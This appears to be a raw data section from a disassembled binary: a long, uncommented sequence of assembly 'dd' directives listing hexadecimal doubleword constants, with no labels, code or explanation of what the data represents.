dd 55A9FE38h, 0A7DB3B66h, 71E2EC8h, 77CBC18Fh, 0F40A67DFh
dd 0E3038A12h, 0CDE0D9A0h, 0E850C0F0h, 0D4DF0024h, 0B49A62A4h
dd 0A17F09E9h, 67B8DA00h, 49BFFFEFh, 0B0960182h, 0FC303115h
dd 0A6A8CC17h, 0FE3CBCA0h, 3C774Ch, 0F31A2666h, 7F13BFB9h
dd 0DA75003Dh, 28244E99h, 0A1009097h, 734D57F2h, 9EC8C2h
dd 701D1202h, 4C50EF9Ch, 0F2E45C00h, 2895464Ah, 892F07BEh
dd 0A1E591D6h, 0DC96C31Ah, 17009D31h, 5F7EE969h, 928BA4BAh
dd 3D7500A0h, 4DFC8319h, 20049AF5h, 0E63516A3h, 8436A8C0h
dd 0BDB31E70h, 1A2840C8h, 310FF548h, 62147C13h, 5F27AE00h
dd 1ED06A1Fh, 16EE305h, 0F9081E78h, 69C8300Bh, 3A79B800h
dd 0A1469A51h, 6C5B09A3h, 0FC809ECEh, 75171A61h, 0FB00CA75h
dd 105954EBh, 0F8D1BC6Bh, 819400E0h, 0D5C0AC83h, 0D81204CFh
dd 0C500A09Ah, 7CBC1F4Fh, 0D148C09Fh, 96FA3BB9h, 0F747C204h
dd 0F0D09779h, 182CBEh, 832F059Bh, 0CAD5867Eh, 6D73700Eh
dd 3DA9A389h, 0A3B89855h, 40162D34h, 0F2066370h, 0E4B7D914h
dd 12C01050h, 2C017A0Bh, 87EA821Ah, 0FB3057C9h, 2501009Ch
dd 3307FC6Bh, 0F900A5D2h, 9480CC8Ch, 3934EF5Dh, 20CB251h
dd 6FB0E341h, 0DE18C800h, 0EBA0CFB3h, 0F4317EACh, 2A552ECDh
dd 28E7183Dh, 0FE014D14h, 0F21DBC1h, 0C083095Dh, 6FD961D1h
dd 85B8BEB8h, 0AD9BF600h, 3E23511h, 94CA0005h, 0D5ACABF2h
dd 0CD00641Fh, 0F2CDEC1h, 2FF508A0h, 99804191h, 0E20DFACh
dd 598E7B00h, 0C51F5DAAh, 24FE0FA6h, 0C9E05C01h, 0EF65D7A7h
dd 25DDF50Ch, 0B3989Dh, 5239AE8Bh, 14A34855h, 0FA94BA50h
dd 60333844h, 9722702Dh, 6D0067B5h, 22B57F1h, 468C5Ch
dd 7AFA48CDh, 4261AC68h, 0DF76FD00h, 8126FEECh, 0C04D0012h
dd 85C631A2h, 881CED37h, 0FFC0AF75h, 928F58EFh, 0B1171D7Dh
dd 6812CA51h, 0C05B80D0h, 0AEFBE040h, 330020BAh, 2B477483h
dd 4E8434h, 182D6A81h, 0FF5DB3C6h, 1ED2300h, 0EA80AFBBh
dd 0C17BBFh, 0E26AD14h, 6ACFA1DFh, 0C8BEEF17h, 70188C1Dh
dd 5C3859h, 1AD32B85h, 7AA71A5h, 0A700649Ah, 109FD813h
dd 0F1D5586h, 816EBF02h, 0CE96FEC3h, 0CADFF4D0h, 0F93F49C7h
dd 80FF2EA2h, 0F37AC2ACh, 2B78005Dh, 5FA2F052h, 0B800CBC0h
dd 0FD31B421h, 0BAF15Eh, 0DB240582h, 89183A70h, 4C4BEA17h
dd 1601E0FCh, 38F98525h, 0D740704Ah, 662440h, 0CA2FD142h
dd 4917EEC9h, 0D31E6894h, 1AE6FA80h, 92B8685h, 1D23E1C7h
dd 0A0A25884h, 5E0026BCh, 0AD357C95h, 1C874FEh, 2171D256h
dd 0DCC5E743h, 2300C2B4h, 553B4612h, 39616BD3h, 40E051F2h
dd 2852B7C0h, 9D00CCB2h, 14E00F73h, 7118CC9h, 0ADE8F547h
dd 0D3EBA030h, 401F2674h, 0E7815DE9h, 133A8B5Eh, 5F4EF040h
dd 0D46E2565h, 1C631C00h, 0EF3B353Fh, 0C12B8013h, 0A4682719h
dd 0E9CB007Fh, 56CE9316h, 1F1E4EF6h, 6FC08DD5h, 3B18E52h
dd 0B9EF0289h, 0D45AC539h, 3198EE63h, 2A4E9461h, 1900B4ACh
dd 7C84BD98h, 22501D81h, 0D8918E98h, 72879D06h, 0DA60F541h
dd 0ADF6007Bh, 6555CBCAh, 500ED10h, 46F8DB0Dh, 5D86098h
dd 49C9F9FAh, 0C88C0092h, 0DDFB9A7Fh, 80534F39h, 0A730E4C2h
dd 2C76195Dh, 18820E92h, 4D287865h, 2F8C0700h, 638E9E02h
dd 0DA712601h, 99E68074h, 47B71DE1h, 0D0E9844h, 7546FDC3h
dd 0FC63E911h, 2300B84Bh, 28E3F54Fh, 127B3B70h, 80871207h
dd 600A6DD0h, 80E9D725h, 465C6E40h, 0BE293E33h, 0B6EEB805h
dd 0BB028010h, 670051C8h, 0DC5F05E8h, 13BC398h, 7A2F95DEh
dd 0C4285EF6h, 470E54AEh, 0AE997402h, 0B2D6C024h, 5050672h
dd 0C4D120A4h, 5265805Ah, 0B5148C96h, 0C4CCCAh, 280F4A3Dh
dd 6E8B7Ah, 0F9B7D6A1h, 2783F779h, 0CED17200h, 0E5B81382h
dd 76D90EE4h, 91E0BC17h, 42572358h, 20D3301h, 85B2CF84h
dd 1CB44820h, 40F588F7h
dd 281A298Ah, 1C1E9E5Bh, 0CF0797BBh, 5A80CDD2h, 39B2D0Eh
dd 0F5A51B71h, 0D09F4EF7h, 319A9C23h, 0B193C100h, 2A0F36A3h
dd 0B0C61603h, 17EC078Bh, 0E9928057h, 552C80Ch, 908C4094h
dd 967E2E0Bh, 2F2E006Ch, 75F264Bh, 0CEE0E5A0h, 8E5566E2h
dd 0F1358A00h, 6BF51778h, 0EEF7B9Fh, 0CBCC1BD3h, 5E314DA0h
dd 0B100FC76h, 12738F16h, 0C18DC3h, 0E5D72E7Bh, 9BBE0368h
dd 0DE6ED800h, 410A2937h, 49A3001Eh, 735F575Dh, 0EF09D7E0h
dd 800ECB4Bh, 0A8ADB570h, 0E54D008Dh, 6EA1886Fh, 18B83061h
dd 0B189AA00h, 0DEB04B63h, 5B9F00E0h, 2870FB7Ah, 0C31FF735h
dd 0E8B0D299h, 0B1727DAh, 0D90EEC2Dh, 8A50389h, 6278C0BEh
dd 0A504970Ah, 13119F05h, 58BC88A2h, 64358B08h, 1D9440E8h
dd 0FE0079E9h, 0F680F476h, 188D165h, 0C25CB83Eh, 20E8C792h
dd 661E0B70h, 0E15815AAh, 0E8019020h, 9CF90F2Ah, 181811A3h
dd 0E600B344h, 8F71625Dh, 38815B52h, 5000DB07h, 0BBD9E264h
dd 0F3006C16h, 0A4228BD0h, 712C363h, 39189013h, 5198062Ah
dd 9588090Eh, 3AA88016h, 5BAB5CBBh, 0ED51B18Ah, 0C0AC2877h
dd 52097E8Ch, 50287C8Bh, 50920CE1h, 6A60C8h, 32AEF597h
dd 66ABF677h, 1D3040C0h, 99B73h, 4A5F45E8h, 97CA9AE4h
dd 2A9C1900h, 0B1DB74DAh, 0A6D713BBh, 0C37E0014h, 29A0765Ah
dd 547175Ch, 0BCAE251Fh, 6001EE80h, 30330064h, 0C53A9C1h
dd 0E9E488F2h, 0B22EA500h, 498EC79Fh, 78B900F7h, 3EF4BA40h
dd 39789408h, 5ADB200h, 2421F07Fh, 3DC90E8Dh, 1DE06A4Bh
dd 6B4D31EAh, 31A83B2Ch, 0CF5CD100h, 25FD672h, 94C89BAFh
dd 0E7C03309h, 0FE00AE0Ch, 0F09837A4h, 6C675Ah, 65103BF9h
dd 0AD999664h, 0AC8FA90Bh, 0BC8257Ah, 5E0438h, 14FE37E3h
dd 0E7CB5F28h, 0F17913Eh, 948BB8h, 150D6A13h, 0FB3800E5h
dd 0D21096BAh, 0A860FFE2h, 0E7265C40h, 0A6DE2C70h, 0F9CE000Bh
dd 0D832150Eh, 66C33C1Fh, 206FC24Dh, 14DA0C60h, 20E34554h
dd 18F4DBE1h, 4093EE5Ch, 0CB078A6Ah, 150C9567h, 0FDC91150h
dd 300A7A24h, 0FEB8DDF7h, 1000625Fh, 6895EB7Eh, 0B9A663Ah
dd 1D697A11h, 0A82390A0h, 6A0E85EFh, 2B5EB73Bh, 2B2020EEh
dd 54AB9B0Bh, 4F19014h, 8B3D26ACh, 925481A6h, 6089856h
dd 5C45721h, 2FE7D126h, 1CA840DFh, 1BD68369h, 0F7AC3000h
dd 0A0D28E8h, 0C5DFE8E2h, 4B14A969h, 3B0082C0h, 0ABB89F96h
dd 1F591860h, 8C7BF7h, 3EFA1CD4h, 0DACB498Dh, 69CEF1Fh
dd 88146A8Ah, 3CCAE302h, 4E8A38Bh, 49FE98EFh, 36680760h
dd 40AC65F5h, 1B8837E9h, 63008AEEh, 0C642629Ch, 3044A4BFh
dd 5B9E633h, 0AD01D541h, 16F63F5Ch, 8986764h, 58A621CEh
dd 2E3AD500h, 0BCEA7A10h, 0FE0D05CAh, 1053657h, 5396E6B8h
dd 52C443FDh, 1436023h, 5CC0D53Ah, 88CC1857h, 0D50051A7h
dd 0E9056A92h, 180A3A33h, 50DA975Fh, 0DC028FB3h, 5194C9BAh
dd 0AC72AAh, 7A8DA9A1h, 0A8055985h, 3A7CC4FAh, 0DDC55801h
dd 0A36B7964h, 43439052h, 0F5A7D028h, 9F150138h, 0A44DE4FDh
dd 8CD6F166h, 91DD3068h, 1200057h, 0AC21A74Eh, 26005FC8h
dd 0A6E38BFAh, 635CA10h, 6679C1A4h, 97E461A5h, 48DC4F32h
dd 85461B5h, 28265B60h, 9D813BBh, 8EDFFBEAh, 87F46004h
dd 0D7182CB3h, 6BA89312h, 0CB0B414h, 0F9E70F87h, 94630E6Ah
dd 92C05ED1h, 0EC210966h, 0AA28003h, 38CC8B87h, 0D8837A28h
dd 9897E3A0h, 0FD736000h, 0BC04556h, 0E4FB308Fh, 7B67FC28h
dd 0EB7D1F1Fh, 0D8E37F06h, 150A0118h, 3DB81229h, 84D183A8h
dd 0F08BD63Bh, 32E9764Eh, 81085623h, 4363A448h, 17C6D600h
dd 1A36B5A7h, 0E8BD48DCh, 0F128310h, 560458Ch, 9C454CCCh
dd 0B046DB94h, 69923Ch, 46097B82h, 0BB5AE478h, 3E17B700h
dd 0BD2CCE87h, 8AFA05C0h, 0E807093h, 39D83D90h, 0C40B6F69h
dd 8010DE91h, 0D38A469Ah, 54A70A9Ah, 8A450F6h, 0AD00F467h
dd 0A2C84BFh, 5F161832h, 4FE6A06Dh, 4553A401h, 79267D2h
dd 18486421h, 83963ACDh, 98104069h, 0AA285890h, 0AB30A0F3h
dd 0D7DE190Eh, 3D2E019Bh, 5E1236E7h, 57E0208Bh, 9670950Ch
dd 15A430F8h, 80C69710h, 8C479050h, 0ACD53E04h, 0CD62375Ch
dd 0D556AB20h, 7B61F93h, 380E685h, 8667FDA9h, 4604B8FEh
dd 9C9458Dh, 0FC40D4E5h, 65387313h, 42E34EFEh, 0FC4B87FCh
dd 1144880Fh, 0D6819DC6h, 773E0A8Dh, 0BCA4980Ch, 42D64500h
dd 70962CF5h, 7E0931D2h, 85C794E1h, 1622E249h, 0B1CD4402h
dd 64744CE8h, 60BB789Bh, 688CD63Ah, 983C700Ah, 4264D180h
dd 2500D674h, 78EC9EFEh, 31115EDBh, 0BC690FAAh, 0C2CFD017h
dd 0C416FC0Fh, 83678B9Fh, 0EFE28C66h, 0DAC0B297h, 1DC59A0Ch
dd 8B415C46h, 44809342h, 0EEE02890h, 0C4122A14h, 0D63F804Ch
dd 0AC2E0A8Fh, 997C6088h, 3FD64767h, 4C8ABA03h, 1ACECh
dd 52D46991h, 0CA87A788h, 1E5B671Ch, 42C5E780h, 128AC7EEh
dd 98B03EBh, 44B08FD8h, 6E28785Eh, 0F07D8FCh, 8EB08297h
dd 0F90623C3h, 60207B7Fh, 3D3A26A0h, 97714040h, 1702DD7Ch
dd 6677FD55h, 3ECC8003h, 1293BA82h, 40B94253h, 0F6F4791Ch
dd 8D09C06Fh, 277EAA13h, 54302770h, 9DAD321h, 2BFBEFAh
dd 709D875Dh, 90511786h, 0A6A73028h, 41D55EB8h, 4D6FB50Fh
dd 88E1A068h, 92EAFE11h, 355C765Ch, 80B07FD2h, 408C51D8h
dd 0A8BF7613h, 0AB3AA405h, 6011E8C8h, 0B941087Bh, 0D9FC59C5h
dd 0E843D126h, 83637301h, 0E0EFAFCFh, 1DCC5BBh, 46060D3Eh
dd 80D53045h, 2A61B071h, 0FC91EAh, 36984122h, 0AC20B544h
dd 8D574F0Eh, 0E4565642h, 10337C03h, 3C085212h, 0C2A31101h
dd 0FA0F165Eh, 4FE3B4A1h, 24F0A896h, 708FA305h, 8800123Eh
dd 7CCC1A5h, 7D040AAAh, 80C8943Dh, 76FF1BF1h, 6473E392h
dd 0E6734700h, 79F2E9B4h, 0A3DD01E2h, 7EDE5EACh, 2CC4CE83h
dd 4F20A813h, 0C0461008h, 5CABD53Fh, 0DA222F46h, 0F8E6A840h
dd 0B46B3A9Ah, 0F489B100h, 15520A63h, 90E23A01h, 0CAC25E5Ch
dd 841AE0h, 1CBB2345h, 0E42CC765h, 0BE18C97Ah, 0DE30CB4Ah
dd 51DC3D4Ch, 77374B01h, 8987635Dh, 40C948h, 0A2C3393Ch
dd 6EFE1D20h, 0CAF080ECh, 67D10ADCh, 0EE69141Dh, 0EAE500FFh
dd 0C8E219B1h, 404060A0h, 9754B315h, 0E4338103h, 888B9E44h
dd 0C141FBCh, 3B3DFCE2h, 7F005A29h, 7DB1B88Dh, 66B921AEh
dd 212508A5h, 8D96FB00h, 0E195C3B3h, 1A6AEE0Dh, 0E0524090h
dd 0A1037980h, 0BE00A0D7h, 68365C43h, 6792C2CAh, 633A40E6h
dd 4888E0F3h, 3E198106h, 0BF080E61h, 0A13A9440h, 8FEFBh
dd 0A837914h, 919A3031h, 5C41D061h, 0FACC4EB8h, 6ACF0002h
dd 0EFC79F29h, 0E1031CB0h, 9E4577C9h, 20E13D8Fh, 0B180ADBCh
dd 3ABBC28Ah, 50F76291h, 26E175ACh, 0F69AF301h, 0FE92CEC5h
dd 218B0898h, 2674E952h, 7938F570h, 4E90818Dh, 0CF39763Fh
dd 187FA0C4h, 311D63A9h, 0FE023DFAh, 0A74850DEh, 0AC9A40B0h
dd 18A41CEDh, 0B12581D3h, 457ACF34h, 3E1000C4h, 3ABCE384h
dd 18D094A1h, 0E2E008F5h, 0BBC4F648h, 0E0FDA740h, 2F0265C7h
dd 0FB1CB1B7h, 97F09112h, 11488110h, 4CB18905h, 100974DBh
dd 91001F93h, 0CA6D802Fh, 7B9AB2ABh, 12E37CFFh, 40CCE9ECh
dd 7BCBA97Ch, 0A4B84377h, 614AE619h, 2180B508h, 957BC30Bh
dd 827F484Eh, 707E8007h
dd 202F44EEh, 0E21FC4D4h, 31CF60E8h, 79E0C78Bh, 0E8443431h
dd 460080EBh, 0C4E82906h, 0C0FBC9C8h, 0B1CB8D78h, 23229546h
dd 8D8FFC07h, 6971ABACh, 47D43235h, 213F603Ah, 9E0D370Eh
dd 5F4E701Fh, 18192A18h, 730F149h, 0CAFE3E74h, 0D257FF00h
dd 8588CB7Bh, 0BF17859Ah, 820050C4h, 6A261C49h, 0F3D52CFFh
dd 0AD2439CCh, 807B1144h, 9AF926E7h, 0C0C64206h, 0B26EF5Ch
dd 0B99E00ECh, 0E08E8FC4h, 3D400E36h, 0EA5CB814h, 0DE400188h
dd 64A508E9h, 491083BFh, 17316647h, 8012B228h, 48D2A0E4h
dd 8611367h, 81CE6090h, 83520107h, 9F34B38Ah, 0FCB4401Dh
dd 0E149BB84h, 5978054Ch, 0D458A4EEh, 808F4F28h, 0C4A14558h
dd 657A18F9h, 62A5F88Dh, 0FA202EC4h, 15808D91h, 0F81213B3h
dd 0AD70147Ch, 4009A96Ch, 948289CFh, 0E20FCA8Ah, 823CEA16h
dd 0AA2BC7Ch, 2463DA0h, 48E7E0F8h, 1C3467DEh, 5EE000A4h
dd 0E2AB08D4h, 0F2029B75h, 8475EFB8h, 0EBAE027h, 0E8E56049h
dd 1B8F5487h, 0FD06E083h, 80C550AAh, 4915F221h, 0B48080EFh
dd 9943827Bh, 10B3448Ch, 3F7BCC00h, 3B53287Ch, 6D37E27h
dd 0D90E9B14h, 5B0C58AFh, 70900B55h, 0C4D6244Ch, 753A8074h
dd 10C5A0C3h, 80F8A369h, 96EA8A6Dh, 0C1D50C45h, 4968CEACh
dd 2C0A4F14h, 0A5060094h, 40861D60h, 0B87C01E3h, 421766E2h
dd 7820A851h, 0D0FABB0Ah, 0BF7020C2h, 0B0088C1Ah, 35E7A3Fh
dd 0C6A8AD08h, 8A4F9012h, 0C0907008h, 9AF426E4h, 91C5EE21h
dd 0EC53028Eh, 40C86D26h, 801C4328h, 0B406D544h, 2CCDF54Ch
dd 3CEE1410h, 684890A8h, 188C0711h, 7F19F50Eh, 12B32064h
dd 60CDF934h, 30EB5082h, 7E117BB8h, 0B488B943h, 7BD00C81h
dd 0F5E4FF85h, 0B86E7ED4h, 1F4435D2h, 60B004B1h, 4F0B01A8h
dd 41062A1Ah, 0B93AEC98h, 18D841E5h, 1BC47C5Eh, 28384A1Eh
dd 0A844BAD2h, 0DE3EE30Dh, 9C0E1833h, 2FC08F88h, 945047h
dd 0C7392F0h, 0CF91B7B6h, 2E7F61C0h, 0F304CF1h, 0A2A38C4Ah
dd 7A6D409Eh, 0BC881498h, 4BB5651Ch, 9C156BCAh, 0B10EC207h
dd 1912A83Ah, 0AD14AC01h, 0F0489BFCh, 0B58E0028h, 0ED39D066h
dd 0F6000369h, 348FEC21h, 34A13C6h, 5C7F1B91h, 4E80CD2Ah
dd 0C8009681h, 0FE1C3F6Bh, 2D68F5h, 93C7A358h, 21326CCDh
dd 631FF800h, 0AC9FB8A1h, 0FD7658E0h, 0E7101Ch, 5D09E47h
dd 7B00E1AFh, 0F5A832C5h, 70078Bh, 5C7E2186h, 66CFB740h
dd 0FE0EB38h, 618F1768h, 9546514Fh, 6EC7D8h, 0AFFD2334h
dd 9C8EAADAh, 0D798DF00h, 99032EC4h, 0C31D3176h, 0E43E5B50h
dd 0E600A49Ch, 0A809AC19h, 0F7CD90h, 0E2DCDB77h, 5BEA979h
dd 0C351F40Ah, 0ED00E56Ch, 0E6AC215Ch, 25720014h, 4A151894h
dd 91008B50h, 2FEDDCC2h, 210A2Bh, 3DE21B09h, 0D354DB45h
dd 802AE00h, 2928340Ch, 0D9062582h, 1512195Ch, 0A6725D00h
dd 6D22B4Ah, 8DD8850Dh, 0E40F1916h, 4063A46Ch, 7F9BDE7h
dd 0F88F0086h, 2C2C128h, 7E009F3Bh, 44BA75F3h, 0FE74204Fh
dd 0CCFB50C9h, 74575DBh, 0A0482138h, 583B209Eh, 93008B6Dh
dd 0E9ED310Ch, 3458E46h, 56818A34h, 2CA03C0Bh, 0D30EB7FCh
dd 1BA1771Fh, 37D2F082h, 459B1C55h, 35544780h, 9744104Fh
dd 1C006270h, 0D9007D7h, 0BF4C5Ah, 0E6B2FFF8h, 80347881h
dd 0E5D77200h, 0AEA26038h, 0EA3700CBh, 61C94EBCh, 2B003A1Bh
dd 0B8A65051h, 234B5Fh, 2ECDE729h, 190C16AAh, 0C986B700h
dd 0C7E872C4h, 0B53E308Fh, 5BB63C71h, 0F2D89E03h, 79A537Ch
dd 8A77EF19h, 0A7601F31h, 29F6FBCEh, 0E1393500h, 0DE04C9B5h
dd 0A2D90292h, 4A46F72Eh, 313623C0h, 8FA9F404h, 0F2ACCC73h
dd 33242C00h, 25A7723Fh, 46C62E02h, 0E0BC3BE4h, 3E4B2Eh
dd 42B98EF5h, 0A15140A2h, 0FA00CFFCh, 8B9F639Dh, 18C16D2Fh
dd 0C372DE1h, 0B73CEF47h, 0FC4680B4h, 0C8C61286h, 457B4C7Dh
dd 0B1A1EB00h, 451501A6h, 49CEE07h, 9D102840h, 2DB95Dh
dd 0B2F82532h, 2EA9AB99h, 0DB2FA000h, 0E4FBD0F9h, 0C26B00A5h
dd 0D96DB04Dh, 9000B173h, 0F3C38C83h, 0F179586h, 51377B33h
dd 5A1CBDC1h, 151824D3h, 5E26D9C0h, 3FA870h, 586DF6BEh
dd 10B49B77h, 981F1100h, 4E5C2601h, 2DC0F35h, 0B0C13FC2h
dd 0F49CB385h, 3D07EE66h, 0E2B57F0h, 0C840EF45h, 5812556Fh
dd 0CBBE00F8h, 2E4571E1h, 1600BDCAh, 7B31235Fh, 246E8F53h
dd 6808E3h, 41844FFFh, 8E392C14h, 0C8F9AA73h, 960053F6h
dd 0F8B80CFEh, 0F2022EEh, 0F09E488Bh, 0ADF22FA1h, 54E340D7h
dd 0AE0E8D6Fh, 0A4579715h, 0E881B135h, 63C053E0h, 49F30017h
dd 830EA9B0h, 0ED0FE481h, 8A072Ah, 0CEE13B4h, 0B98903D3h
dd 96698F06h, 0D4E73EB8h, 74315F00h, 0B1EE8623h, 0C05901C8h
dd 0ABB8CEDCh, 0F6D4F8A5h, 0DA038E07h, 4A408D3Fh, 5E64832h
dd 87B94B89h, 0C083019Ah, 0FC6B99F5h, 0C318F95Bh, 31189614h
dd 0DB750046h, 0D611AEE8h, 72EFE64h, 0E00003BEh, 5F589881h
dd 4C41002Bh, 16EDF866h, 34006D6Ah, 65DBE015h, 7FA87B21h
dd 55D98BAh, 0EE8FE83Fh, 13208091h, 6338B830h, 486A0047h
dd 0D6075C1Dh, 6D8805E3h, 4FB6F2h, 307246B4h, 25004C8Ch
dd 89E7B9F9h, 3D9D2DD4h, 46801584h, 0EC41EA0Dh, 5F00B479h
dd 0EFD10397h, 0FBCED8AFh, 7198E450h, 0C38401A5h, 0B035C61Ah
dd 0F8FEC927h, 1500F40Ch, 0DDE39166h, 0C49085h, 0D94A1617h
dd 757EA1BCh, 7C25E225h, 0E1CC0079h, 521F6D5Ch, 12FAF7FAh
dd 4DE4B003h, 0BAE7199Dh, 118642Bh, 78844B8Dh, 30B0E669h
dd 6A036D32h, 9141CAD4h, 0C1C8F09Ch, 0C95B0172h, 14587C70h
dd 0A78424E8h, 0E0306900h, 0C840B144h, 5B8000BFh, 5C883CC5h
dd 3106DB6Bh, 5A950D2Eh, 638E06E0h, 11B99FE9h, 8EED400h
dd 647C8A21h, 19576053h, 93ECACF4h, 68FC8C30h, 1FF64873h
dd 80D621A8h, 3397169Ch, 0BC0050B7h, 698D862Fh, 0E273530Dh
dd 1440039h, 50067FDFh, 0C0F8C2A7h, 510009B0h, 0FD577276h
dd 2481B9h, 2B686B52h, 45934D74h, 0F004F537h, 0C980D005h
dd 18CC9B7h, 0F96A1514h, 80A22EA7h, 2724A320h, 9062B076h
dd 728701E9h, 45E88E16h, 8BCDEC61h, 40D0C551h, 553FAA94h
dd 3D3A890Fh, 5C033DE3h, 908AAD34h, 79A2B1h, 0EBD68DA4h
dd 0C22C3328h, 0AE838903h, 0F86A201Eh, 7055CBh, 0ECDA4E30h
dd 0D1FAB7A8h, 2E169900h, 7D8E0EA6h, 95F11E15h, 0DF0780BBh
dd 59CC5AA5h, 8F09CF3Bh, 684582h, 3B49B676h, 84E31E07h
dd 0A30E4F0h, 0A47269h, 0D757D4E5h, 0E0002D09h, 158B39A9h
dd 2C936EB2h, 0CC05C1h, 0D3A4ADFFh, 0B800D5E9h, 0AADEDC8Eh
dd 14287EEh, 0C32A5D3Fh, 0D4B349A1h, 4D1F2176h, 9FC0FCF7h
dd 383F8462h, 1FF027h, 0FB4C5CCEh, 5B16496Ch, 6A9E191Ch
dd 0F8228A0Ah, 7E69A180h, 7A4634C2h, 59137A1Bh, 7800CC0Fh
dd 0F09862BDh, 0F5172854h, 6400D8AEh, 0A575219h, 0BDD30095h
dd 662F1C83h, 0A700049Bh, 3D4C12CDh, 0B6AD70h, 3327ECBAh
dd 1A35E3Bh, 1EB3D703h, 0B3147CFh, 4A62E181h, 5F17F020h
dd 1A027ECAh, 5393C865h, 75FCC8C3h, 3B941910h, 0E39D11CBh
dd 23FB05B0h, 286AA00h, 0AF38D542h, 7C75CEh, 6EF5759Bh
dd 22734F0Ah, 40AB6514h, 2DCF1434h, 0E0B30740h, 948E022Ah
dd 0D8651F10h, 0BCB72F00h, 0A6827334h, 80B56020h, 0AC28B7CFh
dd 482C3F54h, 0E8B50384h
dd 0F02DDD2Ah, 2090DFA2h, 0B02ACD7h, 5CEE5125h, 0F88A4005h
dd 751C0E16h, 0B9C18904h, 0F063BB84h, 0B00FB36h, 8184D40h
dd 0F254114Fh, 0ED0E0774h, 0B0FDB94Eh, 0B032DE1Fh, 14014A72h
dd 0C8838FD0h, 0EC03565h, 0AAFAD9h, 593F6CDDh, 58DBC516h
dd 2172C800h, 0D20DEBBFh, 3DE7784Ah, 7100AD1Eh, 0CDC6481h
dd 0CB003017h, 767912Ah, 2C78DB3Fh, 682C26h, 0BDB9761Ch
dd 0EE003ADCh, 0CBDFC5C9h, 46A860h, 34F96DBEh, 28FC93E4h
dd 0D14E3700h, 0B9852DEAh, 46680060h, 0F97F7DCh, 890011D7h
dd 2558BA36h, 482E0E5Bh, 46039375h, 2A0614CAh, 12E083A0h
dd 0FC574A07h, 0E6A44E70h, 7B82F4A0h, 80B009Ch, 596591F2h
dd 0D300CF64h, 0E68997Fh, 0EE2B03CDh, 1CC75B5h, 5482E4A8h
dd 0D8331496h, 9C00424Ah, 87F5B3B9h, 20D43E61h, 8A098D08h
dd 454EFE2Dh, 671A00E8h, 64A95A45h, 0F7BD3D00h, 665725A0h
dd 5D4F03AAh, 11D3A73h, 56832800h, 611B9B8h, 93D70794h
dd 900EFDFEh, 0F0868E96h, 872EFF00h, 0BD8DC332h, 0FADD04B4h
dd 0C0E72039h, 6A66A754h, 0AFACAA00h, 4B91A64h, 63770113h
dd 0C78CDE37h, 1116C8BFh, 93D94600h, 2556D17Ah, 94E300C4h
dd 90306C6h, 3A0AADD4h, 9F4F47F8h, 1A006D2Ch, 192B8C5Eh
dd 0F88048A7h, 0FC956001h, 60273947h, 9416E22Bh, 1400E7BFh
dd 92D81F68h, 8F0A0529h, 0D0C56673h, 55F0E67Ch, 0E210450Bh
dd 0A7ACA1EEh, 43EC5CF8h, 1CBC093Dh, 8C202C30h, 3AE94633h
dd 7E5F2701h, 70B787A2h, 0F382C30h, 6E0A7A8Fh, 4A6CB812h
dd 4082408h, 0D381E382h, 0B0970E4Ch, 0C6AB596Ch, 63055BFCh
dd 3479A6B2h, 0D0067C80h, 0B7810BEAh, 807774FDh, 3DAF4A4Fh
dd 48101E80h, 8069DE03h, 0BC721523h, 0EC0C4DC4h, 0DAF14AE2h
dd 0DE8000CDh, 610637B3h, 8100DB3Ch, 0BE3F8820h, 0C4A7DB1h
dd 0C022C33Dh, 0ED004F91h, 55B94E0h, 99BDA9h, 0DE9AE2E7h
dd 8DEF3297h, 0BC1B4Dh, 0FAC7D3CCh, 14035C69h, 980838BDh
dd 32B917h, 0CE74A7A8h, 0ED0A3399h, 9CE4CCE9h, 4280AB9Ch
dd 0C2FD6760h, 6D840059h, 0EB0F0D36h, 5501FE31h, 8AD74FF9h
dd 8171982Eh, 73845983h, 0A97D2F61h, 36C4DD00h, 4C0A66D1h
dd 576B0055h, 9B54CD82h, 8500DAC8h, 2A3A3E27h, 0E55A9Ch
dd 46CC2F41h, 4B5CDC6h, 0BD0AB2E2h, 0E888EF1Ch, 1D698683h
dd 7482A043h, 3E00927Fh, 0A083F3F2h, 3A7DB9ABh, 2A5C70D0h
dd 0D89589C0h, 7577C1h, 1F816943h, 3347025Eh, 0B7A12106h
dd 49E419h, 28224E65h, 0E1E52073h, 0F5B95000h, 5296332Dh
dd 0F1230018h, 0D6FB6D99h, 0A100B3C6h, 0B17AE41Bh, 0F9A975h
dd 91124CC7h, 355E692h, 0F2DAD100h, 16FA19B9h, 99F50F9Fh
dd 40604913h, 76334B5Dh, 7C31AB00h, 0BC415EFBh, 0D8F00CCh
dd 0DAFF474Dh, 0DE7CFA45h, 919BF60h, 604A53EBh, 0D74811C1h
dd 0DF002C06h, 4ED6FEAAh, 52A40EEh, 33E9EBAFh, 0C9E85C82h
dd 0D4C04B4Fh, 1824C5CEh, 0C244E017h, 0A918C0FEh, 51589F5Eh
dd 794000F7h, 0B0997889h, 3A530E27h, 0FEC22829h, 5CE0F5BBh
dd 1F82E72h, 48C2C600h, 699283A5h, 177E7324h, 16CDE17h
dd 0E65553A8h, 806DCD08h, 0EE862E10h, 0B444FFh, 0C7A90392h
dd 4963076h, 0D484F61Ch, 5A0098E8h, 14AB5426h, 0F7B883Eh
dd 3483084Ch, 9619D60h, 0CD007189h, 1A30C0EAh, 997B6Eh
dd 9A81B66Fh, 727F07CFh, 765BD307h, 843AFDF8h, 8500E093h
dd 0CB74605Dh, 0AFA600D2h, 681BB5FEh, 0EF3A169Dh, 90C7AA1Eh
dd 0B3EE4900h, 419A7DA2h, 0E5E4ABh, 12C45927h, 0ADE1CCDCh
dd 0A58CE000h, 16CF08E2h, 5FDA00A4h, 0EAA1576Dh, 70029EDh
dd 37EFD631h, 7A1E1035h, 0BD56006Bh, 17DB87B6h, 0AB312620h
dd 0C02F3076h, 1BEF6D0h, 23C4D670h, 0F7E66057h, 7B442100h
dd 849BF472h, 2AD80FF7h, 45637FC1h, 198925Bh, 0FF0AC5EAh
dd 0FC75F3D7h, 0F8BD6C80h, 0CA26C9h, 4BA2ED1Fh, 0B0E378C3h
dd 800A2C12h, 0BB519020h, 0E011D339h, 0F90F50CAh, 1D4869h
dd 0B10F6F7Ah, 3CED48FCh, 59870671h, 682D1C68h, 6003F76h
dd 4CDFA9D1h, 0F49CFh, 45A65086h, 8E4320A7h, 0DC116900h
dd 6331A09Bh, 0E3A103CEh, 0FE7C798Ch, 3F8825FBh, 9907CDE9h
dd 0EE3194DFh, 0BB4823F0h, 0A77B586Fh, 54D22B00h, 0C5DAE85h
dd 696C9B00h, 0FB90371Fh, 1303022Fh, 0D2EF87E2h, 0AC405A62h
